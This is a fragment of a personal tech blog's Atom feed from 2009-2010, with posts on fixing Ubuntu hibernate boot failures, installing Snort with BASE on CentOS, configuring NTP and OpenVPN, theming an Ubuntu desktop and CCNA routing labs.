src='http://3.bp.blogspot.com/_WK7TtRkL_xE/S-aM9a9pLoI/AAAAAAAAAB0/YgHjY-crLXc/S220/cards.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7101191185610484252.post-6719913983153203617</id><published>2010-03-07T00:00:00.001+10:00</published><updated>2010-11-19T23:54:16.963+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='kush.com.fj'/><title type='text'>Website Changes</title><content type='html'>Minor website changes to www.kush.com.fj. Replaced original splash image with new one made using new Hindi script. Also created splash image for Resume page using previous and current business cards. Let me know what you think as well as any more ideas or recommendations for improvements...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7101191185610484252-6719913983153203617?l=nkush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nkush.blogspot.com/feeds/6719913983153203617/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nkush.blogspot.com/2010/03/website-changes.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/6719913983153203617'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/6719913983153203617'/><link rel='alternate' type='text/html' href='http://nkush.blogspot.com/2010/03/website-changes.html' title='Website Changes'/><author><name>Kush, Nishchal</name><uri>http://www.blogger.com/profile/09916128927204667997</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_WK7TtRkL_xE/S-aM9a9pLoI/AAAAAAAAAB0/YgHjY-crLXc/S220/cards.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7101191185610484252.post-6321740574526964342</id><published>2010-03-01T21:09:00.001+10:00</published><updated>2010-11-19T23:53:51.795+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hibernate'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='ubuntu'/><title type='text'>Ubuntu 9.10 does not boot up after hibernate!!!</title><content type='html'>I've been running Ubuntu 9.10 desktp on my HP nx6120 notebook with some success for a little while now. It performs well for my TeX work, occasional web-browsing, VPN, RDP and e-mails. The GUI is enhanced using Mac4Lin. I loved the hibernate feature until late this afternoon when it refused to bootup after hibernating. I would get the splash screen and then nothing... curses!!!.&lt;br /&gt;&lt;br /&gt;I managed to find a work-around but am still not sure what the problem was:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Boot up the machine with a rescue CDROM&lt;/li&gt;&lt;li&gt;Confirm the root partition for the Ubuntu install (in my case it was &lt;i&gt;/dev/sda8&lt;/i&gt;, although I only have IDE drives)&lt;/li&gt;&lt;li&gt;Boot up the machine and wait for the GRUB prompt&lt;/li&gt;&lt;li&gt;Press "&lt;b&gt;e&lt;/b&gt;" to edit the entry&lt;/li&gt;&lt;li&gt;Replace the "&lt;i&gt;root=UUID...&lt;/i&gt;" with "&lt;i&gt;root=/dev/...&lt;/i&gt;" on the "&lt;b&gt;linux&lt;/b&gt;" line entry&lt;/li&gt;&lt;li&gt;Add the entry "&lt;i&gt;no_console_suspend&lt;/i&gt;" on the same line&lt;/li&gt;&lt;li&gt;Press the "&lt;b&gt;Tab&lt;/b&gt;" key to complete the Emacs edit&lt;/li&gt;&lt;li&gt;Press "&lt;b&gt;Ctrl+x&lt;/b&gt;" to continue booting&lt;/li&gt;&lt;/ol&gt;Once the machine has bootup as normal, edit the GRUB configuration&lt;br /&gt;&lt;ol&gt;&lt;li&gt;&lt;b&gt;sudo vi /etc/default/grub&lt;/b&gt;&amp;nbsp;&lt;/li&gt;&lt;ol&gt;&lt;li&gt;Edit the file to uncomment &lt;i&gt;GRUB_DISABLE_LINUX_UUID&lt;/i&gt;&lt;/li&gt;&lt;li&gt;Edit the file to add &lt;b&gt;no_console_suspend&lt;/b&gt; in the &lt;i&gt;GRUB_CMDLINE_LINUX&lt;/i&gt;&lt;/li&gt;&lt;li&gt;Save the file and exit &lt;/li&gt;&lt;/ol&gt;&lt;li&gt;&lt;b&gt;sudo /usr/sbin/update-grub&lt;/b&gt;&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;u&gt;References&lt;/u&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://computergyan.wordpress.com/tag/ubuntu/"&gt;http://computergyan.wordpress.com/tag/ubuntu/&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://lovehateubuntu.blogspot.com/2009/08/ubuntus-hibernate-wont-wake-up.html"&gt;http://lovehateubuntu.blogspot.com/2009/08/ubuntus-hibernate-wont-wake-up.html&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7101191185610484252-6321740574526964342?l=nkush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nkush.blogspot.com/feeds/6321740574526964342/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nkush.blogspot.com/2010/03/ubuntu-910-does-not-boot-up-after.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/6321740574526964342'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/6321740574526964342'/><link rel='alternate' type='text/html' href='http://nkush.blogspot.com/2010/03/ubuntu-910-does-not-boot-up-after.html' title='Ubuntu 9.10 does not boot up after hibernate!!!'/><author><name>Kush, Nishchal</name><uri>http://www.blogger.com/profile/09916128927204667997</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_WK7TtRkL_xE/S-aM9a9pLoI/AAAAAAAAAB0/YgHjY-crLXc/S220/cards.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7101191185610484252.post-3219885776335012252</id><published>2010-02-28T15:59:00.001+10:00</published><updated>2010-11-19T23:53:10.944+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='http'/><category scheme='http://www.blogger.com/atom/ns#' term='mysql'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='centos'/><category scheme='http://www.blogger.com/atom/ns#' term='snort'/><category scheme='http://www.blogger.com/atom/ns#' term='ids'/><title type='text'>Snort sniff honk !</title><content type='html'>Snort is an open source intrusion detection system (IDS). Its highly configurable and can be run in a number of modes and architectures, There are a small number of freely available rules to use. For more information refer to the Snort home page &lt;a href="http://www.snort.org/"&gt;http://www.snort.org/&lt;/a&gt;. Here are some instructions on getting it setup on CentOS, these were adapted from the Snort Documentation by Patrick Harper at &lt;a href="http://assets.sourcefire.com/snort/setupguides/Snort_Base_Minimal.pdf"&gt;http://assets.sourcefire.com/snort/setupguides/Snort_Base_Minimal.pdf&lt;/a&gt;;&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;yum install mysql mysql-bench mysql-server mysql-devel mysqlclient10 php-mysql httpd gcc pcre-devel php-gd gd mod_ssl glib2-devel gcc-c++ php php-pear libpcap-devel&lt;/li&gt;&lt;li&gt;vi /etc/httpd/conf/httpd.conf &lt;i&gt;#Edit the httpd.conf file to suit&lt;/i&gt;&lt;/li&gt;&lt;li&gt;/etc/rc.d/init.d/httpd start &lt;/li&gt;&lt;li&gt;/etc/rc.d/init.d/mysqld restart&lt;/li&gt;&lt;li&gt;/usr/bin/mysql_secure_installation&lt;/li&gt;&lt;li&gt;cd /root&lt;/li&gt;&lt;li&gt;mkdir snortinstall&lt;/li&gt;&lt;li&gt;cd snortinstall &lt;/li&gt;&lt;li&gt;wget http://dl.snort.org/snort-current/snort-2.8.5.3.tar.gz&lt;/li&gt;&lt;li&gt;tar zxvf snort-2.8.5.3.tar.gz&lt;/li&gt;&lt;li&gt;cd snort-2.8.5.3&lt;/li&gt;&lt;li&gt;./configure --with-mysql --enable-dynamicplugin&lt;i&gt; # Fingers crossed it all goes well&lt;/i&gt;&lt;/li&gt;&lt;li&gt;make&lt;/li&gt;&lt;li&gt;make install&lt;/li&gt;&lt;li&gt; /usr/sbin/groupadd snort&lt;/li&gt;&lt;li&gt;/usr/sbin/useradd -g snort snort -s /sbin/nologin&lt;/li&gt;&lt;li&gt;mkdir -p /etc/snort/rules&lt;/li&gt;&lt;li&gt;mkdir -p /var/log/snort&lt;/li&gt;&lt;li&gt;cd /root/snortinstall/snort-2.8.5.3/etc&lt;/li&gt;&lt;li&gt;cp ./* /etc/snort/&lt;/li&gt;&lt;li&gt;cd /root/snortinstall&lt;/li&gt;&lt;li&gt;wget http://www.emergingthreats.net/rules/emerging.rules.tar.gz&lt;/li&gt;&lt;li&gt;tar zxvf emerging.rules.tar.gz&lt;/li&gt;&lt;li&gt;cd rules&lt;/li&gt;&lt;li&gt;cp ./* /etc/snort/rules/&lt;/li&gt;&lt;li&gt;vi /etc/snort/snort.conf&lt;i&gt; # Edit the snort.conf file to suit&lt;/i&gt;&lt;/li&gt;&lt;li&gt;/etc/rc.d/init.d/mysqld start&lt;/li&gt;&lt;li&gt;mysql -u root -p mysql &lt;i&gt;# Create the snort database and snort database user and set permissions&lt;/i&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;cd&amp;nbsp; /root/snortinstall/snort-2.8.5.3/schemas&lt;/li&gt;&lt;li&gt;mysql -u snort -p snort &amp;lt; create_mysql&lt;/li&gt;&lt;li&gt;pear install -a Image_Graph-alpha Image_Canvas-alpha Image_Color Numbers_Roman&lt;/li&gt;&lt;li&gt;cd /root/snortinstall/&lt;/li&gt;&lt;li&gt;wget http://downloads.sourceforge.net/project/adodb/adodb-php5-only/adodb-510-for-php5/adodb510.tgz?use_mirror=transact&lt;/li&gt;&lt;li&gt;wget http://downloads.sourceforge.net/project/secureideas/BASE/base-1.4.4/base-1.4.4.tar.gz?use_mirror=transact&lt;/li&gt;&lt;li&gt;cd /var/www&lt;/li&gt;&lt;li&gt;tar zxvf /root/snortinstall/adodb510.tgz&lt;/li&gt;&lt;li&gt;mv adodb5/ adbodb &lt;/li&gt;&lt;li&gt;cd /var/www/html/ &lt;/li&gt;&lt;li&gt;tar zxvf /root/snortinstall/base-1.4.4.tar.gz&lt;/li&gt;&lt;li&gt;mv base-1.4.4/ base&lt;/li&gt;&lt;li&gt;cd base&lt;/li&gt;&lt;li&gt;cp base_conf.php.dist base_conf.php&lt;/li&gt;&lt;li&gt;vi base_conf.php&lt;i&gt; # Edit the file to suit&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;# Load http://SERVERNAME/base in a browser and click on the setup link&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;# Click on Create BASE AG button&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;# Click on the Main Page link&lt;/i&gt;&lt;/li&gt;&lt;/ol&gt;SQL&lt;br /&gt;&lt;ol&gt;&lt;li&gt;create database snort;&lt;/li&gt;&lt;li&gt;create user 'snort'@'localhost' identified by '&lt;i&gt;&lt;password&gt;&lt;/password&gt;&lt;/i&gt;';&lt;/li&gt;&lt;li&gt;grant create, insert, select, delete, update on snort.* to snort@localhost;&lt;/li&gt;&lt;li&gt;grant create, insert, select, delete, update on snort.* to snort;&lt;/li&gt;&lt;/ol&gt;&lt;ol&gt;&lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7101191185610484252-3219885776335012252?l=nkush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nkush.blogspot.com/feeds/3219885776335012252/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nkush.blogspot.com/2010/02/snort-sniff-honk.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/3219885776335012252'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/3219885776335012252'/><link rel='alternate' type='text/html' href='http://nkush.blogspot.com/2010/02/snort-sniff-honk.html' title='Snort sniff honk !'/><author><name>Kush, Nishchal</name><uri>http://www.blogger.com/profile/09916128927204667997</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_WK7TtRkL_xE/S-aM9a9pLoI/AAAAAAAAAB0/YgHjY-crLXc/S220/cards.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7101191185610484252.post-8621249580665361063</id><published>2010-02-21T11:55:00.001+10:00</published><updated>2010-11-19T23:52:35.214+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ntp'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='centos'/><category scheme='http://www.blogger.com/atom/ns#' term='yum'/><title type='text'>Timing is everything...</title><content type='html'>Having the correct clock timestamp is very important for logging, maintenance, troubleshooting and even forensic analysis. Timing provides a very important frame of reference for network devices, such as hosts, routers and switches. It would be almost impossible to construct a reliable model of an environment without having a standard and accurate frame of reference, thus timing is everything...&lt;br /&gt;&lt;br /&gt;The Hardening Cisco Routers book provides a good reference for Network Time Protocol (NTP) important, and can be found at &lt;a href="http://oreilly.com/catalog/hardcisco/chapter/ch10.html"&gt;http://oreilly.com/catalog/hardcisco/chapter/ch10.html&lt;/a&gt;. NTP is a very popular way to synchornise system clocks with a central trusted server. Here's a rough guide to getting NTP running on a Linux server;&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;sudo yum install ntp&lt;i&gt; # Install the NTP client&lt;/i&gt;&lt;/li&gt;&lt;li&gt;sudo vi /etc/ntp.conf&lt;i&gt; # Edit the configuration file to use the nearest server pool. Refer to &lt;a href="http://www.ntp.org/"&gt;www.ntp.org&lt;/a&gt; to get the pools.&lt;/i&gt;&lt;/li&gt;&lt;li&gt;sudo mv /etc/localtime /etc/localtime~&lt;i&gt; # Backup the locatime file&lt;/i&gt;&lt;/li&gt;&lt;li&gt;sudo ln -s /usr/share/zoneinfo/&lt;country&gt;/&lt;city&gt; /etc/localtime&lt;i&gt; # Ensure that the correct locatime file is set for your city&lt;/i&gt;&lt;/city&gt;&lt;/country&gt;&lt;/li&gt;&lt;li&gt;sudo ntpdate &lt;pool&gt;&lt;i&gt; # Set the date using NTP using the pool specified&lt;/i&gt;*&lt;/pool&gt;&lt;/li&gt;&lt;li&gt;sudo /etc/rc.d/init.d/ntp start &lt;i&gt;# Start the NTP client daemon&lt;/i&gt;&lt;/li&gt;&lt;li&gt;ntpstat &lt;i&gt;# Check that the system clock is synchronised&lt;/i&gt;&lt;/li&gt;&lt;li&gt;date&lt;i&gt; # Check that the system date is set correctly&lt;/i&gt;&lt;/li&gt;&lt;li&gt;sudo hwclock -w&lt;i&gt; # Set the hardware clock to the system date&lt;/i&gt;&lt;/li&gt;&lt;/ol&gt;*Note: Ensure that the host allows traffic on port 123 for the NTP protocol to work.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7101191185610484252-8621249580665361063?l=nkush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nkush.blogspot.com/feeds/8621249580665361063/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nkush.blogspot.com/2010/02/timing-is-everything.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/8621249580665361063'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/8621249580665361063'/><link rel='alternate' type='text/html' href='http://nkush.blogspot.com/2010/02/timing-is-everything.html' title='Timing is everything...'/><author><name>Kush, Nishchal</name><uri>http://www.blogger.com/profile/09916128927204667997</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_WK7TtRkL_xE/S-aM9a9pLoI/AAAAAAAAAB0/YgHjY-crLXc/S220/cards.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7101191185610484252.post-6722113668192236935</id><published>2010-02-20T23:03:00.001+10:00</published><updated>2010-11-19T23:51:59.173+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='centos'/><category scheme='http://www.blogger.com/atom/ns#' term='dmz'/><category scheme='http://www.blogger.com/atom/ns#' term='vpn'/><category scheme='http://www.blogger.com/atom/ns#' term='openvpn'/><title type='text'>Linux Jump Box VPN</title><content type='html'>With the Linux Desktop out of the way, and my impending studies in Network Security coming up, I thought I'd preempt the studies with some initial ground work on my old Linux Server. Previously we had an old server at home, that was used mostly as a web proxy (Squid) and Windows (Samba) server to share files and the home printer.&lt;br /&gt;&lt;br /&gt;Well, it was time for a change and I decided to rebuilt it into a bastion jump box, with a restructure of the home network as well. I started off by installing a second Network Interface Card (NIC) on it. Then installed a bare CentOS on it. I did a yum update on it to ensure the latest patches and stable packages we installed. Next went through the services and disabled all the unnecessary stuff.&lt;span id="goog_1266670986150"&gt;&lt;/span&gt;&lt;span id="goog_1266670986151"&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The idea is to separate the internal network from the De-militarized Zone (DMZ). The purpose of the jump box is to sit on the DMZ between the access and choke routers. The jump box will provide Virtual Private Network (VPN) access into the network, as well as providing proxy services such as web proxy, syslog, ssh&amp;nbsp; and other services.&lt;br /&gt;&lt;br /&gt;In the network, both the access and choke router perform Network Address Translation (NAT), Quality of Serverice (QoS), as well as stateful packet inspection (SPI) firewall functions. In addition to SPI, the choke also performs some port forwards to the jump box and the sip phone. All other traffic is dropped.&lt;br /&gt;&lt;br /&gt;So to get home from university, I need to VPN in, then use SCP to transfer my files (assignments, reports, etc) and get out again.&lt;br /&gt;&lt;br /&gt;To install OpenVPN, perform the following tasks;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;sudo wget http://centos.karan.org/kbsingh-CentOS-Extras.repo&lt;/li&gt;&lt;li&gt;sudo yum --enablerepo=kbs-CentOS-Testing install openvpn&lt;/li&gt;&lt;li&gt;sudo find / -name "easy-rsa"&lt;span style="font-style: italic;"&gt; # returns something like "/usr/share/openvpn/easy-rsa/"&lt;/span&gt;&lt;/li&gt;&lt;li&gt;sudo cp -R /usr/share/openvpn/easy-rsa /etc/openvpn/&lt;/li&gt;&lt;li&gt;sudo cd /etc/openvpn/easy-rsa/2.0/&lt;/li&gt;&lt;li&gt;sudo mkdir keys&lt;/li&gt;&lt;li&gt;sudo vi ./vars&lt;/li&gt;&lt;li&gt;Change the following variables&lt;/li&gt;&lt;ol&gt;&lt;li&gt;export KEY_SIZE=2048&lt;/li&gt;&lt;li&gt;export KEY_COUNTRY=""&lt;/li&gt;&lt;li&gt;export KEY_PROVINCE=""&lt;/li&gt;&lt;li&gt;export KEY_CITY=""&lt;/li&gt;&lt;li&gt;export KEY_ORG=""&lt;/li&gt;&lt;li&gt;export KEY_EMAIL=""&lt;/li&gt;&lt;/ol&gt;&lt;li&gt;sudo bash&lt;/li&gt;&lt;li&gt;source ./vars&lt;/li&gt;&lt;li&gt;./clean-all&lt;/li&gt;&lt;li&gt;./build-ca&lt;/li&gt;&lt;li&gt;./build-key-server server&lt;span style="font-style: italic;"&gt; #server is the unique name to identify the server&lt;/span&gt;&lt;/li&gt;&lt;li&gt;./build-key client &lt;span style="font-style: italic;"&gt;#client is the unique name to identify the client (repeat for each client)&lt;/span&gt;&lt;/li&gt;&lt;li&gt;./build-dh&lt;/li&gt;&lt;li&gt; find / -name "server.conf"&lt;span style="font-style: italic;"&gt; # returns something like "/usr/share/doc/openvpn-2.1/sample-config-files/server.conf"&lt;/span&gt;&lt;/li&gt;&lt;li&gt;cp /usr/share/doc/openvpn-2.1/sample-config-files/server.conf /etc/openvpn&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-style: italic;"&gt;Edit the file to suit&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-style: italic;"&gt;Copy the Diffie-Hellman pem file (dh2048.pen), the &lt;span style="font-style: italic;"&gt;server key file (server.key), and the CA certificate file (ca.crt) to the working directory and start the OpenVPN server (/etc/rc.d/init.d/openvpn start).&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7101191185610484252-6722113668192236935?l=nkush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nkush.blogspot.com/feeds/6722113668192236935/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nkush.blogspot.com/2010/02/linux-jump-box-vpn.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/6722113668192236935'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/6722113668192236935'/><link rel='alternate' type='text/html' href='http://nkush.blogspot.com/2010/02/linux-jump-box-vpn.html' title='Linux Jump Box VPN'/><author><name>Kush, Nishchal</name><uri>http://www.blogger.com/profile/09916128927204667997</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_WK7TtRkL_xE/S-aM9a9pLoI/AAAAAAAAAB0/YgHjY-crLXc/S220/cards.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7101191185610484252.post-4521998605966612780</id><published>2009-12-21T22:47:00.001+10:00</published><updated>2010-11-19T23:51:21.700+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='ubuntu'/><title type='text'>Linux for the Desktop</title><content type='html'>I have mostly been a Linux from the command line kind of person. I would rarely come across X Windows. Recently I decided to experiment with Linux for the desktop. Needless to say have heard people raving about Ubuntu. Furthermore I have mostly been a Redhat user, and had only used the Debian distribution briefly in the past.&lt;br /&gt;&lt;br /&gt;I got the Ubuntu 9.10 Netbook Remix off the Australian PC Authority magazine to have a bit of a play with. It was good because it actually let me resize the existing partitions on my notebook. I had a play, and was moderately impressed by it. The interface was reasonably fluid and the performance was ok. However it was not too my liking. I felt that it lacked a lot of features and flexibility, would would be ideal for the average desktop user, just looking for netbook features.&lt;br /&gt;&lt;br /&gt;Needing more features and a complete set of Linux utilities and applications, I downloaded the Ubuntu 9.10 Desktop ISO image and installed off the CD. The first step was to update all the package, for some reason the Austrlian servers were not reachable and the connection timed out. I changed the "Update Manager" "Settings" to "Download from:" the "Main Server". This worked well.&lt;br /&gt;&lt;br /&gt;Next step was to make is look like an Apple Mac :) using the Mac4Lin installation. Before running the installation program I had to execute "&lt;b&gt;sudo apt-get install emerald&lt;/b&gt;" to make things a bit easier. I previous Google suggested creating the following folders "~/.themes" and "~/.icons". This was done and I ran the install script. So far so good.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now to get the AWN (Avant Window Navigation) dock working.&amp;nbsp; "&lt;b&gt;sudo apt-get install avant-window-navigation&lt;/b&gt;". 10 seconds and a couple of automatic dependency installs later the "Awn Manager" was available under "Preferences", and after adding the Max4Lin theme in AWN, and setting it to auto start, I launched the AWN and there was much coolness to be observed...&lt;br /&gt;&lt;br /&gt;To get the complete look you need to go through all the steps in the PDF manual available from Mac4Lin but the end result is quite satisfying in a cheezy sort of way. For people like me who cannot afford to pay for a proper Apple mac, this poor man's mac combines the GUI of (similar to) an Apple and the flexibility of a stable Linux distribution.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7101191185610484252-4521998605966612780?l=nkush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nkush.blogspot.com/feeds/4521998605966612780/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nkush.blogspot.com/2009/12/linux-for-desktop.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/4521998605966612780'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/4521998605966612780'/><link rel='alternate' type='text/html' href='http://nkush.blogspot.com/2009/12/linux-for-desktop.html' title='Linux for the Desktop'/><author><name>Kush, Nishchal</name><uri>http://www.blogger.com/profile/09916128927204667997</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_WK7TtRkL_xE/S-aM9a9pLoI/AAAAAAAAAB0/YgHjY-crLXc/S220/cards.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7101191185610484252.post-3225541444639013220</id><published>2009-12-05T22:04:00.001+10:00</published><updated>2010-11-19T23:50:53.775+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CCNA studies'/><category scheme='http://www.blogger.com/atom/ns#' term='frame relay'/><category scheme='http://www.blogger.com/atom/ns#' term='dynamips'/><title type='text'>CCNA - Frame Relay</title><content type='html'>It appears I did get it working, but for some reason I cannot ping the local interface on the routers. If anyone is after the config and the network file for dynamips just drop me an e-mail or something, but there are heaps of them on the net already, and there is nothing special about the one I have.&lt;br /&gt;&lt;br /&gt;Basically the idea of the lab was to setup static routes to the loopback interfaces on the remote routers. The important concept learnt were;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Understand the importance of a route back from the remote router.&lt;/li&gt;&lt;li&gt;Configure a static route with using a router interface&lt;/li&gt;&lt;li&gt;Configure a static default route with a next hop router&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_WK7TtRkL_xE/Sxo0qCcLfVI/AAAAAAAAABs/UhNZkZ4f6B4/s1600-h/static-routing.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_WK7TtRkL_xE/Sxo0qCcLfVI/AAAAAAAAABs/UhNZkZ4f6B4/s320/static-routing.JPG" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7101191185610484252-3225541444639013220?l=nkush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nkush.blogspot.com/feeds/3225541444639013220/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nkush.blogspot.com/2009/12/ccna-frame-relay.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/3225541444639013220'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/3225541444639013220'/><link rel='alternate' type='text/html' href='http://nkush.blogspot.com/2009/12/ccna-frame-relay.html' title='CCNA - Frame Relay'/><author><name>Kush, Nishchal</name><uri>http://www.blogger.com/profile/09916128927204667997</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_WK7TtRkL_xE/S-aM9a9pLoI/AAAAAAAAAB0/YgHjY-crLXc/S220/cards.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_WK7TtRkL_xE/Sxo0qCcLfVI/AAAAAAAAABs/UhNZkZ4f6B4/s72-c/static-routing.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7101191185610484252.post-3552728852664600340</id><published>2009-11-30T19:15:00.006+10:00</published><updated>2009-12-03T21:49:40.926+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CCNA studies'/><category scheme='http://www.blogger.com/atom/ns#' term='GNS3'/><category scheme='http://www.blogger.com/atom/ns#' term='chris bryant'/><category scheme='http://www.blogger.com/atom/ns#' term='dynamips'/><category scheme='http://www.blogger.com/atom/ns#' term='static routing'/><title type='text'>CCNA Studies - continued...</title><content type='html'>&lt;div&gt;&lt;div&gt;I've finally been able to get some time to get back into CCNA studies. Decided to put my GNS3/dynamips setup online, as well as my notes as I make progress. Not sure if it may be useful to anyone as there is already a lot of good resources out there, but I figured this way I'll have access to it online as well instead of getting into the server at home.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Basically at the moment am going through the Training Signal videos that I borrowed off a friend, who is now doing his CCNP. So the labs at the moment are from the videos, by Chris Bryant... he has an awesome blog with lots of videos, tutorials and practise exams -&lt;a href="http://thebryantadvantage.blogspot.com/"&gt;http://thebryantadvantage.blogspot.com&lt;/a&gt;.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I started the lab prep work by trying to setup a Frame Relay hub and spoke topology network on GNS3. Speaking of dynamips, its heaps faster to load the IOS if the image has been expanded already. I found Zipeg &lt;a href="http://www.zipeg.com/"&gt;http://www.zipeg.com&lt;/a&gt; quite useful for this purpose.&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="-webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; 